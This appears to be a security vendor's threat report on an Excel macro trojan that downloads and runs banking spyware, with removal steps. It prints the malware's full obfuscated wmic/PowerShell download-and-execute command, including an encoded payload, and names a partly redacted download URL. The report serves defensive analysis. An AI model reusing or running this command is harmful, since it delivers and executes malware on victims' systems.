Analysis by: Augusto II Remillano

ALIASES:

Trojan-Downloader.MSExcel.Agent.im (Kaspersky), VBA/TrojanDownloader.Agent.JEZ trojan (NOD32)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Spammed via email, Dropped by other malware, Downloaded from the Internet

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

  TECHNICAL DETAILS

File Size: 79,360 bytes
File Type: XLS
Memory Resident: No
Initial Samples Received Date: 03 Jul 2018
Payload: Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}ota.com/03062018

It saves the files it downloads using the following names:

  • %AppDataLocal%\{Random number}.exe - detected as TSPY_BEBLOH.YMNPS

(Note: %AppDataLocal% is the Application Data folder found in Local Settings, where it is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Other Details

This Trojan does the following:

  • It has the following content to fool users into enabling macro content:
  • This Trojan uses the following wmic command to download and execute a malicious file:

    wmic pRoCEss call CrEATe "powErsHell -wINDOWstYle HiddEn -NOlOGo -NoNINTeRAcT -noP -eXECUtI BYpass "\"( new-obJEcT SYStEm.Io.comPRession.dEflatesTrEAm( [Io.meMoRYsTREaM][system.CONVeRT]::frOMbAse64StRiNG( 'VY7BSsQwFAB/JYYiLdi0qyLSsoi4rgiyu7gHD+rhNXnQaJIXksdWEf/d6s37zDCGvrJDjOJ80Rcp+uUdcv0IwZDvC/KYxVI834aDTRQ8Bn7tuplYkzOYdsBjKR9Ig7uO0VkNbCmsgEFWfbnBqd4Ob6hZ7D8zo1cbZPWEw42zc6hSK5qCIzBr61DdhwO9YylH5tg1jcaB0RCD0uSb9qy9OG0Xl/JE/j29/J4q/EBZfU/jrJdHxVXVH+8ZEte7RBpzFv/RHw==' ) "\" + [StriNg][ChaR]44 +"\"[Io.ComPrESsiON.compRessioNmoDE]::dECOmPREss) | fOrEACH-OBJecT { new-obJEcT Io.stREamREADer( `$_"\" + [StriNg][ChaR]44 +"\" [sYstEM.tEXT.eNcoding]::ASciI )}).READtoEnD( )| .( `$ENV:CoMspEC[4"\" + [StriNg][ChaR]44 +"\"26"\" + [StriNg][ChaR]44 +"\"25]-jOIN'')"\" |&( $PshoME[21]+$psHOme[30]+'X')"

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 14.358.05
FIRST VSAPI PATTERN DATE: 04 Jul 2018
VSAPI OPR PATTERN File: 14.359.00
VSAPI OPR PATTERN Date: 05 Jul 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %AppDataLocal%\{Random number}.exe

Step 4

Scan your computer with your Trend Micro product to delete files detected as X2KM_POWLOAD.UHAOEFC. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 5

Enable the macro virus protection in Microsoft Office Applications

[ Learn More ]


Did this description help? Tell us how we did.